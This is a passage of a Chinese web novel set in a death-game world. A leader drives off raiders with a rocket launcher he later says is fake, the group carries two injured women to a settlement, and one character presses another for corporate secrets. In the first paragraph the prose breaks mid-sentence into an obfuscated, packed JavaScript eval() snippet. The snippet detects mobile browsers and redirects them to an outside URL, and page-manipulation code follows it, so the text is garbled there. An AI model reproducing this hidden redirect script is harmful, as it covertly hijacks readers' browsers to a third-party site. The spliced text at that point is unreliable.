这个箱子里一开始就装着两个人,另一个还未露面的人抵挡住了男人这猛烈的一脚。箱子的重量当然不可能凭空增加,那么男人的心里只剩下了最后一种让他战栗的可能——这个人把手挂在箱子上,在悬空的状态下仍能用出巨力让整个箱子达到一种无法被撼动的重量。 这个想法让他乱了全部的阵脚,什么货币啊领袖的威严啊全部被抛在脑后,在绝对的力量前他只剩下了一种刻在骨血里遗传了几千年的本能——逃跑。 可是已经迟了,那只搭在箱子沿上的手握住了箱子上的包边,一个灵巧的借力后一个挺拔的身影越上了箱子顶。 时机不对条件不对,但是看清此人的脸之后,浦帆职业反射地发自内心地想问这位年轻人:“先生请问您愿不愿意授权自己的建模给我们做乙女游戏用?” 这是一个相貌太过英俊的男人,低垂的天空下淡淡的月色勾勒出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17416461|200785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他流畅的侧颜,笔挺优美的线条顺着面部一直延伸入白色衬衫的领口里,即使是如此工整正式的西装也掩盖不了堂堂的衣冠下饱满的肌肉,让人忍不住想撕碎他的衣服看看里面是不是也如同想象中那样拥有米开朗基罗雕塑下的完美躯体。 一般相貌如此优越的男人总会有一种不自觉的傲气与轻浮,可是这个男人只有一股沉静的气息,眉骨下被阴影遮盖而显得模糊的眼睛里有一股冷淡的威严。 在场所有的直男脑子里同时闪过同一句话:这也太tm帅了。 如果说沈不语刚才还只是潸然欲泣,现在已经是喜极而泣了,他大挥手臂示意道:“老大!哥!我们在这里。” 宋且慢听见沈不语的呼喊声默默在心里翻了个白眼,心说这臭小子可真是不省心,单独让他进个门还能招惹这么多人。 不过他面上还是一贯的波澜不惊,低头看向那个看起来很像劫掠者们的首领的男人,懒洋洋道:“今天就散了吧,我现在懒得追究你们动了我的人,在门里待了一天还是挺累人的。” 已经是强弩之末的首领硬撑着最后一口气:“你们想的倒是美!把所有货币留下我就勉强放你们一马!” “你想的也挺美。”宋且慢好像想到了什么有趣的事情,他慢慢地用另一只手从箱子里提出一个圆筒型的东西扛在肩上,对着劫掠者们微微一笑:“看看是谁放谁一马吧。” 待看清了宋且慢肩上扛的是什么之后,包括沈不语在内的所有人都愣住了。 “火…箭筒?”浦帆不可思议地说出了那个东西的名字。 “BINGO!”宋且慢笑眯眯地冲浦帆竖了个大拇指,“你们赶快跑起来,我数到三就发射,正好帮我测试一下这个新武器的威力怎么样!” “一——”他用空出来的手指比了个数字。劫掠者们惊恐地看着他。 “二——”他又伸出了一根手指。这下子劫掠者也顾不上临阵脱逃会不会被老大惩罚了,本来威风凛凛的十几个人开始怪叫着寻找逃命的路。 很快整个空旷的场地就剩下了首领一个人,首领怒睁的惊恐眼球里倒映出宋且慢特意伸到他面前的手:“sa——” 宋且慢的这个三字还没有完全从两排牙齿之间念出来,已经惊恐到极致的首领脑子里那根名叫理智的弦就彻底崩断了,这个崩溃的人也顾不上体面了,踉跄着脚步在五个人的注视下跌跌撞撞藏进了黑夜里。 “老大!”沈不语终于见到了阔别几个小时的同伴,扑上去紧紧抱住刚跳到地面上还没站稳的宋且慢和沈观棋,大有一副要牵衣顿足拦道哭的架势,奈何刚开了个腔就被宋且慢拦住了:“少哭丧,先说说你带来的那几个麻烦是怎么回事。” 沈不语经此一提醒才记起此时的头等重要之大事,他赶紧拽着宋且慢的袖子向着楚胧的方向走去,嘴里碎碎念道:“老大你得想办法救一个人……” 话音未落他就感觉身后传来一个很小的撞击声,这个细小的响动在这个喧嚣后又归于寂静的夜晚里像是投入湖中的一枚小石子。年轻人惊愕地回过头,只见方才还撑着门站立的秦问酒失去了最后的力气,直接跌倒在了地上。 11. 吉屋 事情朝着超过沈不语预期的方向一路狂奔且一去不复返了。 他实在没想到副本里大杀四方出门后还能硬刚聚众暴徒的秦问酒就这么倒下了,在他的印象里这种体能怪物抗揍能力一般也是超出常人,如果连秦问酒都能昏倒那就说明她受的伤绝对到了一种很严重的地步。 受伤很严重的楚胧和受伤很严重的秦问酒,如果只能救一个的话……沈不语感觉自己平滑的小脑仁儿都要蠕动出沟壑了。 还好沈不语此人的一大优点就是关键时刻做不出决定那就干脆不做决定,他一把薅住宋且慢的袖子肉麻地撒娇:“老大你得想办法救两个人。” 宋且慢实在没想到自己刚出游戏顺手收拾了小弟惹下的麻烦还没来得及喘口气,紧接着又背上了两条人命。 男人低头看着沈不语,眼神凶得快要刮刀子了,咬着牙一字一句道:“沈、不、语。” 小孩儿讪讪一笑,把头缩得像个鹌鹑,一扭头跑到自家亲大哥身后躲着去了。 沈观棋正在检查楚胧的情况,他叹了一口气抬头看向宋且慢:“失血过多,还有轻微的感染导致的发烧;万幸受伤的时候避开了内脏,不过如果放任不管的话应该撑不过今天晚上。” 三双眼睛全落在宋且慢身上,等待着男人的决断。 宋且慢不耐烦地抓了抓头发,双手插兜走到昏迷不醒的秦问酒身边,低头去看女孩的脸。 在他身后沈不语和浦帆都忍不住屏住了呼吸。 夜色朦胧,他们只能看清男人在女孩身边站了很久。女孩的高挑的身体此刻在昏迷中无意识地蜷缩着,从穹顶上铺散下来的月光经过银门的折射在她身上盖上了一层边界模糊的柔光,在男人高大硬朗的身躯映衬下单薄得仿佛只是光谱折射出的幻觉,只要稍微移开脚步就会彻底消失不见。 “问酒姐这么好看,老大肯定是爱上她了。”沈不语偷偷跟浦帆咬耳朵,拿肩膀撞了撞他,“你放心,他肯定会答应救她们两个的。” 浦帆担忧地看了一眼沈不语。他倒是没小孩儿这么乐观的心思觉得这会是一个知好色则慕少艾的美丽故事,但是经过了一整天的生死疲劳,终于滑入了一个难得的宁静时刻后,浦帆突然发现自己没有那么强烈的一定要活下来、一定要救下秦问酒和楚胧的意愿了。 他只想享受这个难得疏朗的瞬间,即使眼前这美丽的景象或许会以消耗掉几条生命作为代价。 大概又过了几十秒那么漫长,宋且慢终于抬起头来了。 “现在放任不管就跟我亲手杀了她们没有区别吧,这样子我还真是没办法下决心做这个恶人。”宋且慢说道,因为背对众人所以看不清他的表情,只能根据男人平稳的声线判断他或许没那么抗拒施以援手,“先进吉屋,其他的事情安顿好了再商量。” “你!”宋且慢突然转过头指着沈不语说道,这个有点熟悉的动作和神态终于让浦帆知道沈不语在迷宫里那一套是效仿的何方神圣了。 “还有你。”宋且慢又指了一下浦帆:“你俩抬着她跟我走,如果出问题了就算在你俩头上。” 浦帆刚想问秦问酒该怎么办,总不能把病人摇醒让她自己走吧,然后就眼睁睁看着威风凛凛的宋老大把手里的火箭筒随手一扔,俯身双手把女孩扛在肩上。 “哎哎哎,那个家伙可不能扔啊。”沈不语抬着楚胧的双脚不便把这暴力武器捡起来,急得连连对自家哥哥使眼色。 沈观棋担忧地看了沈不语一眼,摸了摸小孩儿的脑袋:“刚才是不是在门里把脑袋砸坏了?” 沈不语一瞪眼睛。 “别想了,那玩意儿是假的,连点根烟都费劲。”本来已经走了几步远的宋且慢回头说道。 如果沈不语此刻仔细观察的话会发现自家老大此刻的神色与往常相差很大,那张总是玩世不恭地笑着的脸上此刻混杂着一种兴奋和愤懑,虽然能看出这张脸的主人在极力隐忍,但反而适得其反地导致面部的肌肉有些轻轻抽搐。 可惜小孩此刻全部注意力都放在那个惨遭遗弃的火箭筒身上,他一步三回头地仔细打量着,试图仅凭目光判断出这真的是假货还是老大嫌它碍手随口说出来的遗弃借口。 浦帆一边跟着几人的步伐一边抬头仔细观看周围的景象。从一出门就陷入激战,直到现在他才有机会观察这个地方的全貌。 他们脚下踏着的是一条百余米宽的大道,虽然天黑了看不清楚,但是仅凭鞋底的触感就可以判断出这地面的材质与墙壁的黑铁相同。 这条大道并不笔直,而是以一个相同的角弧度不断弯曲。浦帆暗自估量整个第一环道应该就是一个半径在千米以上的巨型圆环,浇铸成这样一个庞大的工程无疑需要耗费数百亿吨的钢铁以及无法计数的人力,莫说在现实世界显然无法轻易做到,即使在这荒诞的死亡游戏里构建一个细节如此完善的模型也不是一个容易的事情。 一想到他们面对的是如此强大的智慧体,而且这家伙还是他们亲手创造出来的,浦帆一时不知道是该笑着哭还是哭着笑。 楚胧虽然很轻,但是抬着一个失去知觉全身脱力的人并不是一个轻松的活计。两人小心翼翼地抬着少女,还要跟上前面二位健步如飞的步伐,不一会儿就累得气喘吁吁。 沈不语索性独自把楚胧打横抱起,反倒是把两人都从这体力苦海里解放了出来。 他一边抱着楚胧,一边热心地把第一环道的情况像倒豆子一样全倒给浦帆:“就是这面墙把环道与荒原分隔开了,我们叫它一号墙,对着它的就叫二号墙。” 他用下巴指了一下方才他们出门的方向:“一号墙上的门就是玩家初次进入环道的入口,从初次游戏中活下来的玩家手上就会自动带上手环,这个手环里面会把每一个游戏中获得的货币储存起来。” 浦帆看了看自己的右手,那是一个黑色橡胶表带配着一个方形显示器的手环;显示器本来已经熄屏了,但是在浦帆抬手的时候又亮了起来,白色的界面上是七道刻度不同的进度条,其中最上面有十个刻度的那条已经被银色填满。 “嘿,还挺智能。”浦帆自言自语道。 沈不语凑上来看了一眼,满脸唏嘘:“浦大哥你运气真好,第一次玩游戏就碰上高阶门,还碰上我这么厉害的队友,轻轻松松就把通关第一环道了。” 浦帆闻言来不及理会小孩儿言语中的歧义,连忙问道:“通过第一环道是什么意思?是不是我就可以离开这个鬼地方了?” 沈不语一脸“你想啥呢”的表情:“只能说你能离开第一环道了,但是还有第二第三第四第n环道等着你呢。” 浦帆突然记起刚出门的时候他曾经瞥到对面的二号墙上镶嵌着一扇金碧辉煌的气派大门,只是金门的数量相比起银门要稀少很多,一号墙每隔几步就能看见一扇银门,但是在他刚才有限的视野里却稀稀落落的只有一两扇金门。 虽然心里早就有了准备,但这句话还是像一盆冷水把浦帆从□□到精神全浇烂了。 沈不语一听身后没人回话了,一下子就有点着急。他年纪比不过亲哥哥,能力比不过亲老大,一身中二老大的劲儿在这个鬼地方无处施展,好不容易碰见初出茅庐的浦帆等人可以过过前辈瘾,cosplay的游戏他还没玩够呢千万不能让小弟先崩溃了。 “你别慌,还有我哥和我老大呢,等把问酒姐和楚胧治好了咱们可以一起通关,不就是几扇门吗?说不定运气好后面遇到的也全是高阶门,区区几关我们就能出去了。”他连忙安慰道。 浦帆觉得沈不语这几句话说了还不如不说,如果没有秦问酒他们几个人早就全埋在迷宫的墙壁里一起当npc怨鬼了,他们现在谈的这些沈不语倒是可以用怨鬼语再讲一遍在黑黢黢的迷宫里打发时间。 不过浦帆很快就从重大打击中缓过来了。 他到底是见过大场面的人,虽然总是奴颜卑膝担任秦问酒的走狗角色,但是他好歹也是从BLACKDOOR这种数十万员工规模的跨国集团干到发言人的角色,浦总玩过的游戏可是比这个破智慧体玩过的更多好吗! 浦帆就这样顽强地完成了心理建设,然后大脑里开始快速整合今天为止所有的信息:“你们是怎么知道第一环道后还有其他环道的?今天出门时那些抢劫的是怎么回事?为什么那些人只攻击我们不管2号和3号?” 问题太多了,沈不语先和浦帆讲了一下积分交换的规则,才继续道:“不管是进门还是在环道内生活都是需要消耗积分的,在进门之前没有人能知道自己进入的究竟是几号门。有些运气不好的进入了非常低阶的门,拼死挣回来的积分甚至有可能无法抵消入门消耗的积分。” “因此有一些人选择依靠其他的方式获得积分。”沈不语的眼神沉了沉,“这些人被称为劫掠者,他们自动组成了一个流窜的团体埋伏在门外,袭击那些没有防备的玩家们,我们第一次出门时有一个大哥就是因为他们……他明明已经挺过最艰难的游戏了……” 小孩忍不住哽咽了一下。 浦帆的表情严肃了起来:“环道内可以杀人?那游戏的目的是什么?” 沈不语摇了摇头:“环道内规定不可杀人,但是在环道里没有医院这种地方,接受救治也是非常困难的事情,如果重伤的话……” “门外的危险,以及游戏难度的不确定性,形成了另一个以闯关玩家为核心的组织,尚勋跟那个女人就是组织里的人。”沈不语想到尚勋恨恨地咬了咬牙:“这个组织名叫‘燧人’,用刻着火种的红色宝石作为成员的标志;组织的范围波及很大,每一层环道都有组织的成员,他们长期驻守在自己负责的环道内筛选有潜力的人,将他们招徕进组织里。” “进入燧人的成员可以获得组织的庇护免受劫掠者的侵扰,进入游戏也能获得成员的保护,据说进入到一定的环道等级组织还会把更多的货币分给他们,因此许多人都选择加入他们。” “那你们为什么不加入这个燧人?”浦帆奇怪地问道。凭他识人的能力沈不语无论是智力还是胆识都远超尚勋,能让他毕恭毕敬尊为大哥的宋且慢肯定更是能力非凡,就是这样的三人居然还只能独自行动,甚至要被那些上不了台面的劫掠者们欺辱。 沈不语无所谓地耸了耸肩:“我老大和我哥都说这条件开的太好了,肯定有诈,还是个体户更自在。” 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沈不语稍稍仰头,把两片嘴唇从浦帆手里解放出来:“没事的浦大哥,这里只有我知道你的身份,话说ORO的先行舱发售会上我还要过你签名呢……只要你能解决我的疑问我保证不会有第二个人知道你。” 他一边说一边诱惑地挑了挑一侧眉毛。 浦帆被自己气得肝疼,他暗恨自己的大意。因为与男孩在游戏里出生入死过一次就下意识把他当自己人,谁承想在这种进过好几次游戏的家伙心里自己实际上什么都算不上。 浦帆平生有了被辜负的感觉,只是现在人为刀俎我为鱼肉只得忍气吞声:“你想问什么。” 沈不语眨了眨眼:“我想知道ORO这个游戏到底出了什么问题,连总设计师都被坑进来了。” “谁说我被坑……”浦帆一听就急眼了,不过骂了一半发现男孩的话倒是没错,只能嘴硬道:“嗯……确实有了一些bug,但是问题不大,只要我出去就能找到修复的办法。” “奥——”沈不语拖长了声调:“那出去的办法是……” “你不是说打完所有环道的游戏……”浦帆还没说完就绝望地发现自己又说漏嘴了。 沈不语垂眼看着他:“我说的你就信啊,我也只是一个还在第一环道的初级玩家。还是说其实你自己也根本不知道该怎么出去?” 浦帆不吭声了,只是一味加快速度向前走。他发现这个看似开朗的小孩也是深不可测,自己一直被他的中二病语录蒙骗了,实际上这个可是一个独自进入高阶门还不慌不忙,甚至能在游戏一开始就完美控场的人精。 还差几步就能追上宋且慢二人了,他们似乎在向着一个人群聚集地走去。路上的黑暗已经逐渐被明亮的火光和响亮的人声覆盖了,在光线的照耀下可以看见宋且慢和沈观棋愉悦交谈的侧脸。少女被他轻松的挂在肩膀上,完全散开的头发像是麦穗一样随着男人的步伐轻轻晃动,那张白皙得像是薄纸的脸在黑发之间时隐时现。 浦帆一看见秦问酒的脸就想哭了,他心说还是秦总好她只骂我打我不暗算我,他赶快紧走想回到可靠的秦总身边,即使是昏迷的秦问酒带给他的安全感也远超这几个混世魔王。 就在马上要与宋且慢并肩之时,浦帆突然刹住脚了,另一个更可怕的想法涌进了他的大脑。 宋且慢从来没同意过要跟他们组队,也没有考察过他们的背景,但是却放心让沈不语跟在自己身边像个大漏勺一样把有关环道所有的信息都告诉自己,一个拒绝了大组织的招徕还有魄力带着小队闯高阶门的领袖会这么大意吗? 或许他早就知道浦帆和秦问酒的身份,所以让沈不语用那些只要在这里待的时间足够长就一定能知道的信息来套自己的话。 浦帆是真想哭了。 沈不语不紧不慢地追了上来,他知道不能把男人逼得太紧,索性用肩膀哥俩好地撞了撞浦帆的肩膀:“哎呀你紧张什么,我就是随口问问,聊天嘛。” “就问你最后一个问题哈。”沈不语紧紧盯着浦帆的眼睛:“问酒姐,也是BLACKDOOR的人吗?你很信任她。” 秦问酒的身份还没暴露,这是浦帆迄今为止听到的最好的消息。他决心一定要守护好我方的中坚力量,立刻做出一副被彻底拿捏放弃抵抗的萎靡模样:“说实话我真不知道她是做什么的,不过荒原要不是她出手相助我肯定早就没命了。” “这样啊……”沈不语看了浦帆一会儿,也不知道是不是真的相信了。 说话间他们已经彻底走入了一个热闹的区域,随处可见的一人高的巨型火把燃烧着明黄的火光,把整个空间照得像是辉煌的黎明。道路上来回走动着密集的人流,虽然鲜少有人大声喧哗但已经是难得的人气。 人群之外的环道两侧的墙壁上建造了许多大小颜色均是各异的方形盒子建筑,所有建筑鳞次栉比地排列在一起,几个铁架焊成的羊肠小路穿插在墙壁上,像是穿针线盒一样把所有建筑联结在一起。 一直在前头带路的宋且慢此刻停下了脚步,回过头对着身后的人微微一笑。 “欢迎来到吉屋区。”浦帆听见男人对他说。